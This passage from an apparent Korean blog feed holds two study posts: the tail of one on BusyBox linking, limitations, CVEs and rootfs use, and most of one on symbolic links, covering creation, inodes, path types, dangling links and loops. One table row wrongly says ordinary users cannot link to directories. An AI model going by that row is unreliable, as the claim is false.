<li>생성 결과는 <code>file busybox</code> 명령으로 확인 가능: <code>statically linked</code></li>
</ul>
<h4 id="동적-링크-dynamically-linked">동적 링크 (Dynamically Linked):</h4>
<ul>
<li>시스템에 설치된 공유 라이브러리(libc 등)에 의존</li>
<li>크기는 작아지나, 라이브러리의 손상이나 누락 시 실행 불가</li>
<li>일반 데스크탑 시스템이나 <strong>루트 파일시스템 내 기본 유틸리티</strong>로 쓰이는 경우 선호</li>
</ul>
<pre><code class="language-bash">$ make CONFIG_STATIC=n</code></pre>
<h4 id="비교-요약">비교 요약</h4>
<table>
<thead>
<tr>
<th>항목</th>
<th>정적 링크</th>
<th>동적 링크</th>
</tr>
</thead>
<tbody><tr>
<td>실행 파일 크기</td>
<td>큼</td>
<td>작음</td>
</tr>
<tr>
<td>라이브러리 의존성</td>
<td>없음</td>
<td>있음</td>
</tr>
<tr>
<td>부팅 환경 적합성</td>
<td>높음</td>
<td>낮음</td>
</tr>
<tr>
<td>배포 유연성</td>
<td>보통</td>
<td>높음</td>
</tr>
<tr>
<td>보안 업데이트 반영</td>
<td>수동 재빌드 필요</td>
<td>공유 라이브러리 업데이트 시 즉시 반영 가능</td>
</tr>
</tbody></table>
<hr>
<h2 id="4-busybox의-기술적-제한과-보안적-고려">4. BusyBox의 기술적 제한과 보안적 고려</h2>
<h3 id="41-기능적-제약-및-gnu-coreutils와의-비교">4.1 기능적 제약 및 GNU coreutils와의 비교</h3>
<p>BusyBox는 ‘<strong>작고 단순한 대체 유틸리티</strong>’를 목표로 하기 때문에, 풀 사이즈 유틸리티(특히 GNU coreutils)에 비해 기능적인 제약이 분명히 존재한다. 이는 <strong>임베디드 환경에 최적화된 경량성</strong>을 추구한 결과로, 다음과 같은 주요 차이점이 있다.</p>
<h4 id="주요-기능적-차이">주요 기능적 차이:</h4>
<ul>
<li><strong>옵션 지원 제한</strong>: GNU <code>ls</code>는 수십 가지 옵션(<code>--color</code>, <code>--group-directories-first</code> 등)을 제공하지만, BusyBox <code>ls</code>는 제한된 수의 옵션만을 제공</li>
<li><strong>기능 생략</strong>: GNU <code>cp</code>의 <code>--preserve</code>, <code>--reflink</code> 등 고급 옵션은 BusyBox에서 지원되지 않음</li>
<li><strong>표준 출력 형식 차이</strong>: 출력 형식이 POSIX 표준과 달라 스크립트 호환성에 문제가 생길 수 있음</li>
</ul>
<h4 id="예시-비교-기능-차이">예시 비교 (기능 차이):</h4>
<table>
<thead>
<tr>
<th><strong><em>명령어</em></strong></th>
<th><strong><em>GNU coreutils</em></strong></th>
<th><strong><em>BusyBox</em></strong></th>
</tr>
</thead>
<tbody><tr>
<td><code>ls --color=auto</code></td>
<td>지원</td>
<td>일부 구성에서 미지원</td>
</tr>
<tr>
<td><code>cp --preserve=all</code></td>
<td>지원</td>
<td>미지원</td>
</tr>
<tr>
<td><code>sort --human-numeric-sort</code></td>
<td>지원</td>
<td>미지원</td>
</tr>
</tbody></table>
<p>이러한 제약은 BusyBox를 운영 자동화, 고급 파일 시스템 작업, 대규모 데이터 처리 용도로 사용하는 데는 부적절하게 만든다. 따라서 고급 유틸리티가 필요한 상황에서는 GNU coreutils를 별도로 포함하거나 BusyBox의 해당 기능을 확장 구현해야 한다.</p>
<h3 id="42-posix-호환성-문제">4.2 POSIX 호환성 문제</h3>
<p>BusyBox는 POSIX (Portable Operating System Interface for Unix) 명세를 <em>참고하되 엄격히 준수하지는 않는다</em>. 이로 인해 다음과 같은 문제점이 발생할 수 있다.</p>
<h4 id="1-posix-명령어-동작-불일치">1. POSIX 명령어 동작 불일치</h4>
<ul>
<li>POSIX 표준에서는 <code>echo</code> 명령의 <code>-e</code> 옵션을 해석하지 않지만, BusyBox는 이를 기본 동작으로 해석하거나 무시할 수 있다.</li>
<li><code>test</code>, <code>[</code> 명령어의 조건 평가 방식도 GNU 및 POSIX와 다소 상이할 수 있음</li>
</ul>
<h4 id="2-셸-구현의-제약">2. 셸 구현의 제약</h4>
<ul>
<li>BusyBox의 기본 셸(<code>ash</code>, <code>hush</code>)은 POSIX Shell 스펙 중 일부를 지원하지 않거나 해석 방식이 다르다.<ul>
<li>예: Here Document (<code>&lt;&lt;EOF</code>) 처리에서 특수 문자 해석 방식 차이</li>
<li>프로세스 서브스티튜션 (<code>&lt;()</code>)은 미지원</li>
</ul>
</li>
</ul>
<h4 id="3-표준-입력출력-처리-차이">3. 표준 입력/출력 처리 차이</h4>
<ul>
<li>일부 표준 스트림 처리에서 리다이렉션 및 파이프 연결이 POSIX 기대 동작과 달라짐</li>
</ul>
<h4 id="대응-방안">대응 방안</h4>
<ul>
<li>정밀 제어가 필요한 스크립트의 경우 BusyBox 환경에서 테스트를 선행해야 함</li>
<li>POSIX 모드 강제 옵션이나, full POSIX 셸(bash 등)의 별도 설치 고려</li>
</ul>
<h3 id="43-보안-취약점-사례와-대응-방식">4.3 보안 취약점 사례와 대응 방식</h3>
<p>BusyBox는 다양한 유틸리티를 단일 바이너리로 통합하고 있기 때문에, <strong>취약점 발생 시 영향 범위가 매우 넓다</strong>. 특히 입력 검증이 미흡하거나 경량화를 위해 보안 검사를 생략한 부분에서 보안 문제가 보고된 바 있다.</p>
<h4 id="대표적-취약점-사례">대표적 취약점 사례:</h4>
<ol>
<li><p><strong>CVE-2011-2716</strong></p>
<ul>
<li><a href="https://nvd.nist.gov/vuln/detail/cve-2011-2716">https://nvd.nist.gov/vuln/detail/cve-2011-2716</a></li>
</ul>
</li>
<li><p><strong>CVE-2016-6301</strong></p>
<ul>
<li><a href="https://nvd.nist.gov/vuln/detail/cve-2016-6301">https://nvd.nist.gov/vuln/detail/cve-2016-6301</a></li>
</ul>
</li>
<li><p><strong>CVE-2021-42378</strong></p>
<ul>
<li><a href="https://nvd.nist.gov/vuln/detail/cve-2021-42378">https://nvd.nist.gov/vuln/detail/cve-2021-42378</a></li>
</ul>
</li>
</ol>
<h4 id="취약점-발생-원인">취약점 발생 원인</h4>
<ul>
<li><strong>입력 유효성 검사 부족</strong></li>
<li><strong>히스토리/상태 관리 생략에 따른 오류 전파</strong></li>
<li><strong>정적 할당 기반의 메모리 취약성</strong></li>
</ul>
<h4 id="대응-방안-1">대응 방안</h4>
<ul>
<li><strong>업데이트 주기 관리</strong>: BusyBox는 Git 및 릴리즈 버전으로 지속적인 패치가 제공되므로, <strong>장기간 사용 시 최신 버전 적용 필수</strong></li>
<li><strong>필요한 유틸리티만 빌드</strong>: 사용하지 않는 기능을 제외하여 공격 표면 최소화</li>
<li><strong>정적 분석 도구 활용</strong>: 빌드된 바이너리에 대해 <code>checksec</code>, <code>valgrind</code>, <code>clang-analyzer</code> 등을 통한 취약점 분석 권장</li>
<li><strong>SELinux/AppArmor로 실행 정책 제한</strong>: BusyBox가 루트 권한으로 실행될 경우, 실행 권한 범위 최소화 설정 필요</li>
</ul>
<hr>
<h2 id="5-busybox의-실무-적용-시-고려사항">5. BusyBox의 실무 적용 시 고려사항</h2>
<h3 id="51-busybox-사용-시-디버깅-및-로그-수집-방법">5.1 BusyBox 사용 시 디버깅 및 로그 수집 방법</h3>
<p>BusyBox는 디버깅 도구나 로깅 시스템이 제한적이거나 존재하지 않는 시스템(예: initramfs 환경, 임베디드 기기)에서 주로 사용되기 때문에, <strong>일반적인 리눅스 시스템과 같은 수준의 로그 수집 및 디버깅</strong>이 어렵다.</p>
<h4 id="1-기본적인-로그-수집-전략">1. 기본적인 로그 수집 전략</h4>
<ul>
<li>BusyBox 자체에는 <strong>syslogd</strong>, <strong>klogd</strong>, <strong>logread</strong> 등의 기본적인 로깅 도구가 포함되어 있으며, 이를 이용해 로그를 수집할 수 있음.</li>
<li><code>/etc/inittab</code> 파일에서 <code>respawn:/sbin/syslogd</code> 등의 항목을 등록하여 syslog를 실행하도록 설정해야 함.</li>
<li>로그 출력 경로는 <code>/var/log/messages</code>, <code>/var/log/syslog</code>, 또는 임시 디렉토리(<code>/tmp/syslog</code> 등)로 구성 가능</li>
</ul>
<h4 id="2-디버깅-명령의-사용">2. 디버깅 명령의 사용</h4>
<p>BusyBox는 <code>strace</code>, <code>gdb</code>, <code>lsof</code> 등의 정규 유틸리티를 포함하지 않음. 따라서 별도로 포함하거나 다음과 같은 대안을 사용해야 함:</p>
<ul>
<li><code>dmesg</code>: 커널 메시지 확인</li>
<li><code>set -x</code>: 셸 스크립트의 명령어 실행 흐름 추적</li>
<li><code>echo</code>, <code>cat</code>, <code>ls -l</code>, <code>ps</code>, <code>top</code>: 간이 상태 확인</li>
<li>BusyBox 자체에 컴파일된 옵션 확인: <code>busybox --help</code>, <code>busybox | grep [command]</code></li>
</ul>
<h4 id="3-외부-로그-수집-연동">3. 외부 로그 수집 연동</h4>
<ul>
<li><strong>netcat(nc)</strong>, <strong>logger</strong> 등의 유틸리티를 활용해 로그를 원격 syslog 서버로 전송</li>
<li><code>/dev/log</code> 소켓을 생성하여 로컬 프로그램의 로그도 수집 가능하게 설계</li>
</ul>
<h3 id="52-제한-환경루트파일시스템-초기화-ram-디스크-등에서의-적용">5.2 제한 환경(루트파일시스템, 초기화 RAM 디스크 등)에서의 적용</h3>
<p>BusyBox는 초기 부트 환경, 루트파일시스템 구성 시 매우 자주 사용된다. 이 경우 다음과 같은 적용 고려사항이 존재한다.</p>
<h4 id="1-initramfsinitrd-환경">1. initramfs/initrd 환경</h4>
<ul>
<li>BusyBox는 <strong><code>init</code> 프로세스</strong>, <strong>장치 파일 생성(mdev)</strong>, <strong>파일 시스템 마운트</strong> 등의 핵심 기능을 대체할 수 있음</li>
<li><code>/init</code> 스크립트 또는 <code>/etc/init.d/rcS</code>를 통해 부트 과정을 스크립트화할 수 있음</li>
</ul>
<h4 id="2-루트-파일시스템-내-적용">2. 루트 파일시스템 내 적용</h4>
<ul>
<li><strong>정적 링크(Static Linking)</strong>: 공유 라이브러리 의존성 제거로, 부팅 초기 단계에서도 안정적인 실행 보장</li>
<li><strong>권한 설정</strong>: <code>mknod</code>, <code>chmod</code>, <code>mount</code>, <code>chroot</code> 등 시스템 호출 수준의 명령어를 포함하므로, 루트 권한으로 실행되어야 함</li>
</ul>
<h4 id="3-디스크-공간-절약과-커널-연계">3. 디스크 공간 절약과 커널 연계</h4>
<ul>
<li>단일 바이너리로 <code>ls</code>, <code>mount</code>, <code>sh</code>, <code>cp</code> 등을 모두 제공하므로 <code>/bin</code>, <code>/sbin</code>, <code>/usr/bin</code> 등의 공간을 대폭 줄일 수 있음</li>
<li>커널과 연동되는 경우 <code>/proc</code>, <code>/sys</code>, <code>/dev</code> 등의 가상 파일 시스템 마운트가 필수</li>
</ul>
<h3 id="53-전체-시스템-통합-시-주의사항-및-대체-가능성">5.3 전체 시스템 통합 시 주의사항 및 대체 가능성</h3>
<p>실제 배포용 시스템에 BusyBox를 통합할 때는 다음과 같은 주의점과 고려 요소가 존재한다.</p>
<h4 id="1-기존-유틸리티와의-충돌">1. 기존 유틸리티와의 충돌</h4>
<ul>
<li><code>/bin/ls</code>, <code>/bin/cp</code> 등 기존 GNU coreutils와 <strong>명령어 경로 충돌</strong> 발생 가능</li>
<li>해결 방안:<ul>
<li>symlink로만 BusyBox 유틸리티를 구성하고 <code>/bin/busybox</code>만 단독 바이너리로 유지</li>
<li>PATH 설정에서 BusyBox 경로를 후순위로 배치</li>
</ul>
</li>
</ul>
<h4 id="2-시스템-전반-설정과의-호환성">2. 시스템 전반 설정과의 호환성</h4>
<ul>
<li>일부 시스템 구성 도구(ex: systemd, NetworkManager, udev 등)는 BusyBox와 호환되지 않거나 실행 불가</li>
<li>특히 <code>init</code> 시스템이 BusyBox <code>init</code>을 사용하는 경우, 표준 init 스크립트와의 호환성 문제 주의</li>
</ul>
<h4 id="3-대체-가능성과-경량-대안">3. 대체 가능성과 경량 대안</h4>
<table>
<thead>
<tr>
<th><strong><em>용도</em></strong></th>
<th><strong><em>BusyBox 대안</em></strong></th>
<th><strong><em>특징</em></strong></th>
</tr>
</thead>
<tbody><tr>
<td>GNU 대체 유틸리티</td>
<td>Toybox</td>
<td>더 강한 POSIX 호환성, Android AOSP 채택</td>
</tr>
<tr>
<td>셸 대체</td>
<td>Dash, Ash</td>
<td>더 가벼운 POSIX 셸</td>
</tr>
<tr>
<td>init 시스템</td>
<td>OpenRC, runit, s6</td>
<td>더 유연하고 관리 기능이 있는 init 대체제</td>
</tr>
</tbody></table>
<h4 id="4-보안-및-유지보수-관점">4. 보안 및 유지보수 관점</h4>
<ul>
<li>BusyBox는 GitHub 및 공식 사이트에서 소스 코드와 보안 패치를 제공하므로, <strong>정기적인 코드 갱신 및 리빌드 체계 마련이 중요</strong></li>
<li>비공식적으로 배포되는 BusyBox 변형은 반드시 코드 리뷰 후 적용 필요</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[Daily CS) Symbolic Link]]></title>
            <link>https://velog.io/@lilac_21/Daily-CS-Symbolic-Link</link>
            <guid>https://velog.io/@lilac_21/Daily-CS-Symbolic-Link</guid>
            <pubDate>Wed, 30 Apr 2025 07:10:04 GMT</pubDate>
            <description><![CDATA[<h1 id="symbolic-link">Symbolic Link</h1>
<blockquote>
<p>a file whose purpose is to point to a file or directory  by specifying a path thereto</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/1a3a20c5-cbf9-4dcb-a6d4-908f1e007deb/image.png" alt=""></p>
<p>오늘의 주제는 심볼릭 링크이다. 과거 수행한 분석 프로젝트 회고를 읽어보던 중 눈에 들어온 이 개념을 과연 얼마나 이해하고 있을까 싶어, 오늘 날 잡고 정리해보려 한다.</p>
<hr>
<h2 id="1-심볼릭-링크의-개요">1. 심볼릭 링크의 개요</h2>
<h3 id="11-심볼릭-링크의-정의와-기본-개념">1.1 심볼릭 링크의 정의와 기본 개념</h3>
<p>심볼릭 링크(Symbolic Link)란, 특정 파일이나 디렉토리에 대한 <strong>경로 기반의 참조 정보</strong>를 저장하는 특수한 파일을 의미한다. 흔히 ‘소프트 링크(Soft Link)’라고도 불리며, 실제 데이터가 아닌 <strong>다른 파일의 경로를 문자열 형태로 저장</strong>하고 해당 경로를 통해 대상 파일에 접근하는 기능을 수행한다. 이는 마치 Windows 환경의 “바로 가기(shortcut)”와 유사하지만, 내부 구현은 파일 시스템 수준에서 다르게 작동한다.</p>
<p>Unix 계열 운영체제에서는 <code>ln -s</code> 명령을 통해 심볼릭 링크를 생성할 수 있으며, 생성된 링크는 일반 파일과 구분되는 특별한 파일 유형(<code>l</code>로 표시됨, 예: <code>lrwxrwxrwx</code>)으로 인식된다.</p>
<h4 id="특징-요약">특징 요약:</h4>
<ul>
<li>대상 파일의 <strong>경로를 저장</strong>하고 그 경로를 참조함.</li>
<li>대상이 디렉토리든 파일이든 <strong>자유롭게 링크 가능</strong>.</li>
<li>원본이 사라질 경우 “죽은 링크(dead link)”가 되어 접근할 수 없음.</li>
<li>inode는 원본과 <strong>서로 다른 inode 번호</strong>를 가진다.</li>
<li>일반적으로 <code>ls -l</code> 명령어로 확인 시, <code>-&gt;</code> 기호를 통해 링크 대상을 나타냄.</li>
</ul>
<p>이러한 방식은 시스템 자원에 대한 간접 참조를 가능하게 하며, 운영체제 및 응용 프로그램이 파일 경로를 동적으로 관리하거나 경량화된 접근 경로를 구성할 수 있도록 해준다.</p>
<h3 id="12-하드-링크와의-차이점">1.2 하드 링크와의 차이점</h3>
<p>심볼릭 링크와 종종 비교되는 개념으로는 <strong>하드 링크(Hard Link)</strong> 가 있다. 두 개념은 모두 한 파일을 여러 위치에서 접근 가능하게 만들지만, 작동 방식에는 본질적인 차이가 존재한다. 다음 표는 주요 차이점을 정리한 것이다:</p>
<table>
<thead>
<tr>
<th><strong><em>구분</em></strong></th>
<th><strong><em>심볼릭 링크(Symbolic Link)</em></strong></th>
<th><strong><em>하드 링크(Hard Link)</em></strong></th>
</tr>
</thead>
<tbody><tr>
<td>참조 방식</td>
<td>대상 파일의 경로를 참조</td>
<td>대상 파일의 inode(데이터 블록)를 공유</td>
</tr>
<tr>
<td>대상이 사라질 경우</td>
<td>링크가 끊어지고 &quot;죽은 링크&quot;가 됨</td>
<td>영향 없음 (데이터는 여전히 존재함)</td>
</tr>
<tr>
<td>디렉토리 링크</td>
<td>일반 사용자 권한으로는 불가</td>
<td>대부분의 시스템에서 제한됨</td>
</tr>
<tr>
<td>파일 시스템 경계</td>
<td>다른 파티션/파일 시스템 간 허용</td>
<td>동일 파일 시스템 내에서만 가능</td>
</tr>
<tr>
<td>inode 번호</td>
<td>링크와 원본이 서로 다름</td>
<td>링크와 원본이 동일함</td>
</tr>
</tbody></table>
<h4 id="요약">요약:</h4>
<ul>
<li><strong>심볼릭 링크</strong>는 “경로 기반 참조”로, 유연하지만 링크 무효화 가능성이 존재한다.</li>
<li><strong>하드 링크</strong>는 “데이터 블록 기반 공유”로, 파일 이름이 다를 뿐 내부적으로는 <strong>동일한 파일</strong>로 처리된다.</li>
</ul>
<p>따라서 심볼릭 링크는 구조적으로 더 유연하며, 경로 재지정, 디렉토리 연결, 파일 시스템 간 링크 등에 적합하다. 반면, 하드 링크는 안정적인 접근이 가능하지만 제약이 많아 일부 특수한 경우에만 사용된다.</p>
<hr>
<h2 id="2-심볼릭-링크의-생성과-동작-원리">2. 심볼릭 링크의 생성과 동작 원리</h2>
<h3 id="21-심볼릭-링크-생성-명령과-구조">2.1 심볼릭 링크 생성 명령과 구조</h3>
<h4 id="ln--s-명령의-사용법"><code>ln -s</code> 명령의 사용법</h4>
<p>심볼릭 링크는 Unix/Linux 시스템에서 <code>ln -s</code> 명령어를 통해 생성된다. 이 명령어는 다음과 같은 형식으로 사용된다:</p>
<pre><code class="language-bash">ln -s [대상 파일 또는 디렉토리] [생성할 링크 이름]

ex)
ln -s /home/user/config.txt ~/config-link.txt</code></pre>
<p>위 명령은 <code>/home/user/config.txt</code> 파일에 대한 심볼릭 링크를 사용자의 홈 디렉토리에 <code>config-link.txt</code>라는 이름으로 생성한다.</p>
<h4 id="링크-구조">링크 구조</h4>
<p>생성된 심볼릭 링크는 내부적으로 다음과 같은 구조를 가진다:</p>
<ul>
<li>파일 시스템 상의 <strong>별도 inode</strong>를 가지며, 이 inode에는 <strong>링크 대상의 경로 문자열</strong>이 저장됨.</li>
<li>이 문자열은 링크를 따라 실제 파일에 접근하는 데 사용된다.</li>
<li>ls 명령으로 확인 시, <code>l</code> 타입의 파일로 표시되며, <code>-&gt;</code> 기호 뒤에 참조 경로가 나타난다.</li>
</ul>
<p>예:</p>
<pre><code class="language-bash">lrwxrwxrwx 1 user user 21 Apr 29 13:42 config-link.txt -&gt; /home/user/config.txt</code></pre>
<p>이 경우, <code>config-link.txt</code>는 길이가 21인 경로 문자열을 담고 있으며, 접근 시 커널이 해당 경로를 따라 실제 파일을 참조한다.</p>
<h3 id="22-파일-시스템-상에서의-저장-방식">2.2 파일 시스템 상에서의 저장 방식</h3>
<h4 id="별도의-inode-사용">별도의 inode 사용</h4>
<p>심볼릭 링크는 대상 파일과 <strong>inode 번호가 다르며</strong>, 이는 곧 파일 시스템 내에서 <strong>독립적인 객체</strong>임을 의미한다. 링크는 단순히 <strong>텍스트 문자열로 대상 파일의 경로를 저장</strong>하고 있을 뿐이다.</p>
<p>이와는 달리 하드 링크는 대상 파일과 동일한 inode를 공유한다. 즉, 동일한 데이터를 가리키는 <strong>또 하나의 이름</strong>에 불과하다.</p>
<h4 id="vfs-구조와-동작">VFS 구조와 동작</h4>
<p>리눅스의 가상 파일 시스템(VFS)은 심볼릭 링크 파일을 열 때, 다음과 같은 과정을 거친다:</p>
<ol>
<li>해당 경로가 심볼릭 링크인지 확인한다.</li>
<li>링크 파일 내부의 <strong>경로 문자열을 추출</strong>한다.</li>
<li>이 문자열을 기반으로 <strong>새로운 경로로 재해석</strong>하여 원본 파일을 찾는다.</li>
<li>최종적으로 대상 파일의 inode에 접근하여 실제 내용을 읽거나 실행한다.</li>
</ol>
<h4 id="경로-해석-및-루프-방지">경로 해석 및 루프 방지</h4>
<p>커널은 심볼릭 링크를 해석할 때 최대 해석 깊이(<code>MAXSYMLINKS</code>, 보통 40회)까지 따라가며, 무한 루프나 순환 링크(Circular Link)가 발생하지 않도록 제한을 둔다. 예를 들어 A → B, B → C, C → A 형태로 링크가 순환하는 경우, 시스템은 이를 감지하고 <code>Too many levels of symbolic links</code> 오류를 발생시킨다.</p>
<h3 id="23-절대경로-vs-상대경로-링크-차이">2.3 절대경로 vs 상대경로 링크 차이</h3>
<p>심볼릭 링크 생성 시 대상 파일 경로를 <strong>절대경로</strong> 또는 <strong>상대경로</strong>로 지정할 수 있으며, 이 방식에 따라 링크의 특성과 유연성이 달라진다.</p>
<h4 id="절대경로-링크">절대경로 링크</h4>
<pre><code class="language-bash">ln -s /usr/local/bin/tool ~/tool-link</code></pre>
<ul>
<li>링크는 항상 <strong>절대 경로</strong>(<code>/usr/local/bin/tool</code>)를 참조한다.</li>
<li>링크 파일이 어디에 있든, 대상 파일의 위치가 <strong>변하지 않는 한</strong> 유효하다.</li>
<li><strong>경로가 고정적</strong>이므로 파일 이동에 취약하다.</li>
</ul>
<h4 id="상대경로-링크">상대경로 링크</h4>
<pre><code class="language-bash">cd ~/projects/
ln -s ../bin/tool tool-link</code></pre>
<ul>
<li>링크는 <strong>현재 디렉토리를 기준으로 상대적인 경로</strong>(<code>../bin/tool</code>)를 참조한다.</li>
<li>링크와 대상 파일의 <strong>상대적 위치가 유지되는 한</strong> 유효하다.</li>
<li>경로 재구성 시 유연성이 크지만, 링크 파일의 위치가 바뀌면 깨질 수 있음.</li>
</ul>
<h4 id="비교-요약">비교 요약</h4>
<table>
<thead>
<tr>
<th><strong><em>항목</em></strong></th>
<th><strong><em>절대경로 링크</em></strong></th>
<th><strong><em>상대경로 링크</em></strong></th>
</tr>
</thead>
<tbody><tr>
<td>참조 경로 기준</td>
<td>루트(<code>/</code>)부터 시작</td>
<td>현재 링크 파일 위치 기준</td>
</tr>
<tr>
<td>유연성</td>
<td>낮음 (링크 대상 경로 고정)</td>
<td>높음 (상대 경로 기반 재사용 가능)</td>
</tr>
<tr>
<td>이동 후 유효성</td>
<td>대상 파일 위치가 바뀌면 무효화됨</td>
<td>링크 파일 또는 대상이 이동하면 무효화 가능성 있음</td>
</tr>
<tr>
<td>디렉토리 변경 영향</td>
<td>없음</td>
<td>있을 수 있음</td>
</tr>
</tbody></table>
<p>대규모 시스템에서는 상대경로 링크를 통해 <strong>포터블 환경 구성</strong>이나 <strong>버전 관리</strong>, <strong>컨테이너화</strong>된 경로 구성 등을 유연하게 설계할 수 있다. 반면, 고정된 시스템 경로나 루트 권한이 필요한 구성에서는 절대경로 링크가 보다 안정적으로 사용된다.</p>
<hr>
<h2 id="3-심볼릭-링크의-동작-방식">3. 심볼릭 링크의 동작 방식</h2>
<h3 id="31-접근-흐름과-참조-해석">3.1 접근 흐름과 참조 해석</h3>
<p>심볼릭 링크는 파일 시스템의 객체 중 하나로, <strong>경로를 저장하는 특수한 파일</strong>이다. 운영체제는 사용자가 심볼릭 링크를 통해 파일이나 디렉토리에 접근할 때, 이를 자동으로 해석하여 원본 경로로 전달하는 역할을 수행한다.</p>
<h4 id="1-시스템-호출-처리">1) 시스템 호출 처리</h4>
<p>사용자가 심볼릭 링크를 열거나 실행할 경우, 커널은 다음과 같은 단계로 작업을 처리한다:</p>
<ol>
<li><strong>심볼릭 링크 여부 확인</strong>:  </li>
</ol>
<p>VFS(Virtual File System)는 요청한 경로가 일반 파일인지, 디렉토리인지, 혹은 심볼릭 링크인지 판단한다.</p>
<ol start="2">
<li><strong>경로 문자열 추출</strong>:  </li>
</ol>
<p>심볼릭 링크라면, 해당 inode에 저장된 <strong>경로 문자열(pathname string)</strong> 을 추출한다.</p>
<ol start="3">
<li><strong>재귀적 해석</strong>:  </li>
</ol>
<p>추출된 경로를 기반으로 다시 경로 탐색을 수행한다. 이 과정은 <strong>다른 심볼릭 링크를 참조할 수도 있으며</strong>, 최대 허용 횟수(<code>MAXSYMLINKS</code>, 일반적으로 40회)를 초과할 경우 오류가 발생한다.</p>
<ol start="4">
<li><strong>최종 대상에 도달</strong>:  </li>
</ol>
<p>대상이 존재한다면 해당 파일 또는 디렉토리 inode를 참조하여 작업을 수행한다. 대상이 없을 경우, <code>ENOENT</code> (No such file or directory) 오류를 반환한다.</p>
<h4 id="2-예시-흐름">2) 예시 흐름</h4>
<pre><code class="language-bash">cat link.txt</code></pre>
<ul>
<li><code>link.txt</code>가 심볼릭 링크라면:<ul>
<li><code>/home/user/realfile.txt</code>라는 문자열을 갖고 있다면</li>
<li>커널은 이를 읽고 <code>/home/user/realfile.txt</code>를 다시 탐색</li>
<li>존재하는 경우 파일을 열고, 없으면 오류</li>
</ul>
</li>
</ul>
<h4 id="3-명령어-옵션의-링크-처리-방식-차이">3) 명령어 옵션의 링크 처리 방식 차이</h4>
<ul>
<li><code>ls -l</code>: 링크 자체 정보를 출력 (<code>lrwxrwxrwx</code> 등)</li>
<li><code>cat link.txt</code>: 링크를 해석하여 대상 파일의 내용을 출력</li>
<li><code>rm link.txt</code>: 링크 파일을 삭제, 원본에는 영향 없음</li>
</ul>
<h3 id="32-링크-대상이-삭제되거나-이동되었을-때의-처리">3.2 링크 대상이 삭제되거나 이동되었을 때의 처리</h3>
<p>심볼릭 링크는 단지 <strong>경로를 담고 있는 파일</strong>에 불과하기 때문에, 링크 대상의 <strong>실제 존재 여부와 무관하게 남아 있을 수 있다</strong>. 이런 경우, 해당 링크는 <strong>Dangling Symbolic Link</strong>(죽은 링크, 깨진 링크)라고 한다.</p>
<h4 id="1-대상이-삭제된-경우">1) 대상이 삭제된 경우</h4>
<p>예:</p>
<pre><code class="language-bash">ln -s /tmp/test.txt mylink
rm /tmp/test.txt
cat mylink</code></pre>
<ul>
<li>이 경우 <code>cat</code> 명령은 <code>No such file or directory</code> 오류를 반환한다.</li>
<li><code>mylink</code>는 여전히 존재하지만, 내부의 참조 경로(<code>/tmp/test.txt</code>)가 무효하기 때문에 기능하지 않는다.</li>
</ul>
<h4 id="2-대상이-이동된-경우">2) 대상이 이동된 경우</h4>
<ul>
<li>링크가 <strong>절대경로</strong>일 경우, 대상이 다른 디렉토리로 이동하면 링크가 깨진다.</li>
<li><strong>상대경로</strong> 링크는 대상 파일과의 상대적 위치가 바뀌지 않는 한 여전히 유효할 수 있다.</li>
</ul>
<h4 id="3-탐지-방법">3) 탐지 방법</h4>
<p>깨진 심볼릭 링크를 탐지하기 위한 대표적인 명령은 다음과 같다:</p>
<pre><code class="language-bash">find . -xtype l</code></pre>
<ul>
<li><code>-xtype l</code>: 참조 대상이 없는 심볼릭 링크를 찾는다.</li>
<li>이 기능은 시스템 유지 관리나 자동화 스크립트에서 자주 사용된다.</li>
</ul>
<h3 id="33-루프link-loop-문제와-탐지-방법">3.3 루프(Link Loop) 문제와 탐지 방법</h3>
<p>심볼릭 링크는 <strong>다른 심볼릭 링크를 참조할 수 있기 때문에</strong>, 잘못 설계된 경우 <strong>루프(loop)</strong> 또는 <strong>순환 참조(circular reference)</strong> 를 유발할 수 있다.</p>
<h4 id="1-루프-발생-예">1) 루프 발생 예</h4>
<pre><code class="language-bash">ln -s B A
ln -s A B
cat A</code></pre>
<ul>
<li>A → B → A … 무한 루프 발생</li>
<li>커널은 내부적으로 링크 해석 횟수를 기록하고, 일정 횟수(일반적으로 40회)를 초과하면 <strong><code>ELOOP</code> 오류</strong>를 반환한다.</li>
<li>실제 메시지: <code>Too many levels of symbolic links</code></li>
</ul>
<h4 id="2-커널의-보호-메커니즘">2) 커널의 보호 메커니즘</h4>
<ul>
<li>리눅스 커널은 링크 해석 시 마다 횟수를 증가시키고, <code>MAXSYMLINKS</code>(glibc 기준 40) 이상 시 루프라고 판단한다.</li>
<li>이 값은 커널 빌드 설정(<code>fs.h</code> 헤더 등)에서 정의된다.</li>
</ul>
<h4 id="3-탐지-및-정리-방법">3) 탐지 및 정리 방법</h4>
<ul>
<li>루프를 명시적으로 찾는 자동화 도구는 드물지만, 다음과 같이 수동으로 파악할 수 있다:</li>
</ul>
<pre><code class="language-bash">readlink -f A</code></pre>
<ul>
<li>무한 루프에 빠지기 전까지 해석된 경로를 출력한다.</li>
<li><code>find . -type l -exec readlink -f {} \;</code> 명령 등을 통해 경로를 일괄 해석하여 수상한 순환을 찾을 수 있다.</li>
</ul>
<h4 id="4-실전-적용-예">4) 실전 적용 예</h4>
<ul>
<li>패키지 매니저가 잘못된 링크를 설치하거나, 수동 심볼릭 링크 작성 시 발생할 수 있음</li>
<li>보안 측면에서는 루프를 악용한 <strong>DoS 공격</strong> 가능성도 존재하기 때문에, 자동 배포 스크립트에서는 <strong>심볼릭 링크 검증 루틴</strong>이 포함되는 것이 좋다.</li>
</ul>
<hr>
<h2 id="4-파일-시스템과-심볼릭-링크">4. 파일 시스템과 심볼릭 링크</h2>
<h3 id="41-다양한-파일-시스템에서의-링크-처리-방식linux-ext4-ntfs-등">4.1 다양한 파일 시스템에서의 링크 처리 방식(Linux ext4, NTFS, 등)</h3>
<p>운영체제 및 파일 시스템은 심볼릭 링크를 처리하는 방식에 차이를 보인다. 이는 내부 구조, 메타데이터 처리 방식, 경로 해석 방법 등에 기인한다. 여기서는 대표적인 파일 시스템인 <strong>Linux의 ext4</strong>, <strong>Windows의 NTFS</strong>, 그리고 <strong>기타 POSIX 호환 파일 시스템</strong>을 중심으로 비교한다.</p>
<h4 id="1-linux-ext4-파일-시스템">1) Linux ext4 파일 시스템</h4>
<ul>
<li><strong>표준 POSIX 심볼릭 링크 지원</strong>  </li>
</ul>
<p>ext4는 유닉스 계열의 전통을 계승한 POSIX 호환 파일 시스템으로, 심볼릭 링크를 <strong>inode의 한 형태</strong>로 처리한다.</p>
<ul>
